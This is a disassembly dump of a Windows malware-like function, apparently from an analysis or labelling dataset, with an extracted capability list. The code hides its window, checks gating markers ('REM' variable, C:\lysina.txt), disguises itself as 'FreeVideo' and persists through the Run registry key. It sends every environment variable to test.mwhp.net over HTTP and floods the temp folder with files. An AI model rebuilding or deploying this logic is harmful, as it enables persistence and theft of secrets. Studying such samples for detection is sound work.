Function at 0x4011d0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Get common file path
Hide graphical window
Initialize winhttp library
Persist via run registry key
Prepare http request
Query environment variable
Receive http response
Set registry value
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x37c8
call fcn.00402900
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x37c4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x403268
lea eax, [esp + 0x20]
mov dword [esp + 0x10], 0
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x24], 0
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
add esp, 0xc
test eax, eax
jne 0x401ac3
mov eax, dword [esp + 0xc]
test eax, eax
je 0x401ac3
mov ecx, 0x40326c
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401280
test dl, dl
je 0x40127c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401280
add eax, 2
add ecx, 2
test dl, dl
jne 0x401260
xor eax, eax
jmp 0x401285
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401ac3
push 0x4032bc
lea eax, [esp + 0xc]
push str.c:lysina.txt
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
add esp, 0xc
test eax, eax
je 0x4012ba
push 0x30
push str.Info_
push str.Lysine_factor_is_missing__nPlease_create_the_C:lysina.txt_file__can_be_empty_or_containing_anything__
jmp 0x401acf
push dword [esp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea eax, [esp + 0xa0]
push 4
push str.wmic
push 0x64
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncat_s]
lea eax, [esp + 0xb0]
push 0xb
push str._csproduct
push 0x64
push eax
call esi
push 4
push str.get
lea eax, [esp + 0xc8]
push 0x64
push eax
call esi
push 4
push str.UUID
lea eax, [esp + 0xd8]
push 0x64
push eax
call esi
add esp, 0x40
lea eax, [esp + 0xa0]
push 0x403364
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov edi, eax
add esp, 8
test edi, edi
je 0x4013c7
push edi
lea eax, [esp + 0x3cc]
push 0x63
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
add esp, 0xc
test eax, eax
je 0x401374
lea esi, [esp + 0x3c8]
nop
push edi
add esi, 0x64
push 0x63
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
add esp, 0xc
test eax, eax
jne 0x401360
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea eax, [esp + 0x42c]
push eax
lea eax, [esp + 0x3c]
push 0x64
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea ecx, [esp + 0x44]
add esp, 0xc
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013a0
sub ecx, edx
lea esi, [esp + 0x38]
add esi, ecx
nop
movsx eax, byte [esi - 1]
mov edi, esi
dec esi
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isspace]
add esp, 4
test eax, eax
jne 0x4013b0
mov byte [edi], al
lea eax, [esp + 0x38]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4013f0
mov dword [esp + 0x14], 0
jmp 0x401ad7
push 0x64
lea eax, [esp + 0xa4]
mov dword [esp + 0x18], 1
push eax
push 0x67
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_LoadStringA]
test eax, eax
jne 0x40141a
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov esi, dword [sym.imp.VCRUNTIME140.dll_strrchr]
lea eax, [esp + 0xa0]
push 0x2e
push eax
call esi
inc eax
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 0xc
mov dword [esp + 8], eax
lea eax, [esp + 0x38]
push 0x2d
push eax
call esi
push 0x13
lea ecx, [eax + 1]
push ecx
push 0x64
lea eax, [esp + 0x11c]
push eax
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
add esp, 0x1c
lea eax, [esp + 0x1d0]
push 0xa
push str.FreeVideo_
push 0xfa
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea eax, [esp + 0x118]
push eax
lea eax, [esp + 0x1e4]
push 0xfa
push eax
call edi
add esp, 0x1c
lea eax, [esp + 0x1d0]
push str..exe
push 0xfa
push eax
call edi
add esp, 0xc
lea eax, [esp + 0x5d0]
push 0xfa
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [esp + 0x14], eax
test eax, eax
je 0x401ad7
mov esi, dword [esp + 8]
mov eax, 0x66666667
imul esi
push 0
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0x403338
push 0x800
lea eax, [eax + eax*4]
sub esi, eax
lea eax, [esp + 0x17d4]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
lea eax, [esp + 0x1e0]
push eax
lea eax, [esp + 0x17dc]
push 0x800
push eax
call edi
add esp, 0x1c
mov dword [esp + 0xc], 0
xor eax, eax
mov word [esp + 0x7c8], ax
push 0xffe
push eax
lea eax, [esp + 0x7d2]
push eax
call sub.VCRUNTIME140.dll_memset
mov edi, dword [sym.imp.ole32.dll_CoTaskMemFree]
lea eax, [esi + 1]
mov ecx, dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
add esp, 0xc
test eax, eax
je 0x401633
cmp esi, 7
ja case.default.0x401569
jmp dword [esi*4 + 0x401ae0]
movups xmm0, xmmword [0x4031f0]
jmp 0x4015b6
movups xmm0, xmmword [0x403230]
jmp 0x4015b6
movups xmm0, xmmword [0x403250]
jmp 0x4015b6
movups xmm0, xmmword [0x403220]
jmp 0x4015b6
movups xmm0, xmmword [0x403240]
jmp 0x4015b6
movups xmm0, xmmword [0x4031e0]
jmp 0x4015b6
movups xmm0, xmmword [0x403200]
jmp 0x4015b6
movups xmm0, xmmword [0x403210]
lea eax, [esp + 0xc]
push eax
push 0
push 0x8000
lea eax, [esp + 0x2c]
push eax
movups xmmword [esp + 0x30], xmm0
call ecx
test eax, eax
jne 0x401689
push dword [esp + 0xc]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea eax, [esp + 0x7cc]
push 0x800
push eax
call esi
add esp, 0xc
lea eax, [esp + 0x7c8]
push 0x40333c
push 0x800
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0xc
lea eax, [esp + 0x17c8]
push eax
lea eax, [esp + 0x7cc]
push 0x800
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0xc
push dword [esp + 0xc]
call edi
jmp 0x401653
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea eax, [esp + 0x17c8]
push eax
lea eax, [esp + 0x7cc]
push 0x800
push eax
call esi
add esp, 0xc
push 0
lea eax, [esp + 0x7cc]
push eax
lea eax, [esp + 0x5d8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x401689
lea eax, [esp + 0x7c8]
push eax
lea eax, [esp + 0x17cc]
push 0x800
push eax
call esi
add esp, 0xc
mov ecx, dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov esi, dword [esp + 8]
mov eax, esi
and eax, 0x80000001
jns 0x4016a1
dec eax
or eax, 0xfffffffe
inc eax
sub eax, 0
je 0x4017ca
sub eax, 1
jne 0x401760
lea eax, [esp + 0x10]
push eax
push 0
push 0x8000
push 0x403200
call ecx
test eax, eax
jne 0x401ad7
mov edx, dword [esp + 0x10]
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4016d7
sub ecx, esi
lea eax, [esp + 0x27c8]
sar ecx, 1
push ecx
push edx
push 0x800
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea eax, [esp + 0x27d8]
push 0x40333c
push 0x800
push eax
call esi
add esp, 0x1c
lea eax, [esp + 0x1d0]
push eax
lea eax, [esp + 0x27cc]
push 0x800
push eax
call esi
add esp, 0xc
lea eax, [esp + 0x17c8]
push 0
push eax
lea eax, [esp + 0x27d0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov dword [esp + 0x14], eax
test eax, eax
je 0x401ad7
push dword [esp + 0x10]
call edi
mov esi, dword [esp + 8]
mov edi, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
mov eax, 0x55555556
imul esi
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
sub esi, eax
mov dword [esp + 8], esi
nop dword [eax]
mov eax, esi
sub eax, 0
je 0x4019b8
sub eax, 1
je 0x40186c
sub eax, 1
jne 0x401aad
lea eax, [esp + 0x10]
push eax
push 0
push 0x8000
push 0x4031e0
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x401ad7
mov ecx, dword [esp + 0x10]
call fcn.00401050
jmp 0x401aad
lea ecx, [esp + 0x38]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4017d1
mov edi, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
lea eax, [esp + 0x38]
sub ecx, edx
push ecx
push eax
push 0x64
lea eax, [esp + 0x114]
push eax
lea eax, [esp + 0x24]
push eax
call edi
add esp, 0x14
mov dword [esp + 0xc], 0
lea eax, [esp + 0xc]
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4013e3
lea eax, [esp + 0x17c8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
lea eax, [esp + 0x17cc]
push eax
push 1
push 0
lea eax, [esp + 0x118]
push eax
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4013e3
mov dword [esp + 0x14], 1
jmp 0x401766
lea ecx, [esp + 0x38]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401873
sub ecx, edx
lea eax, [esp + 0x38]
push ecx
push eax
push 0x64
lea eax, [esp + 0x114]
push eax
lea eax, [esp + 0x24]
push eax
call edi
add esp, 0x14
lea eax, [esp + 0x108]
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [esp + 0xc], eax
test eax, eax
je 0x401aad
push 0
push 0x50
push str.test.mwhp.net
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov esi, eax
mov dword [esp + 0x18], esi
test esi, esi
je 0x401aa9
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov dword [esp + 0x1c], eax
test eax, eax
je 0x401aa9
cmp word [eax], 0
mov edi, eax
je 0x4019a2
nop dword [eax]
nop dword [eax + eax]
push 9
push str.data.php_
lea eax, [esp + 0x7d0]
push 0x800
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
push edi
lea eax, [esp + 0x7dc]
push 0x800
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0x1c
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
push 0
push 0
lea edi, [edi + eax*2]
push 0
lea eax, [esp + 0x7d8]
add edi, 2
push eax
push 0x4033dc
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov esi, eax
test esi, esi
je 0x401aa9
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x401aa9
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x401aa9
cmp word [edi], 0
mov esi, dword [esp + 0x18]
jne 0x401900
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push dword [esp + 0xc]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x401aa9
mov eax, dword [0x4033cc]
movq xmm0, qword [str.Master_2022___]
mov dword [esp + 0x28], eax
mov ax, word [0x4033d0]
mov word [esp + 0x2c], ax
mov al, byte [0x4033d2]
mov byte [esp + 0x2e], al
lea eax, [esp + 0x3c8]
push eax
push 0x104
movq qword [esp + 0x28], xmm0
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp eax, 0x104
ja 0x401412
test eax, eax
je 0x401412
xor edi, edi
lea eax, [esp + 0x7c8]
push eax
push 0
push 0x4033d4
lea eax, [esp + 0x3d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x401412
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x7e0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401412
lea ecx, [esp + 0x20]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401a70
push 0
lea eax, [esp + 0x1c]
sub ecx, edx
push eax
push ecx
lea eax, [esp + 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401412
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, 0x7b1
jl 0x401a13
mov esi, dword [esp + 8]
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
jmp 0x401780
push 0x30
push str.Info_
push str.Lysine_factor_is_missing__nSet_the_REM_environment_variable_to_y_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
jo 0x401af7
inc eax
add byte [ecx + 0x15], bh
inc eax
add byte [edx - 0x74ffbfeb], al
adc eax, 0x15940040
inc eax
add byte [ebp - 0x59ffbfeb], bl
adc eax, 0x15af0040
inc eax
add byte [ebx], bh
cmp ecx, dword [section..data]
add byte [esi - 0x50ffbfeb], ah
adc eax, 0xd3b0040
cmp ecx, dword [section..data]
jne 0x401b09
jne 0x401b09
ret
jmp fcn.00401d81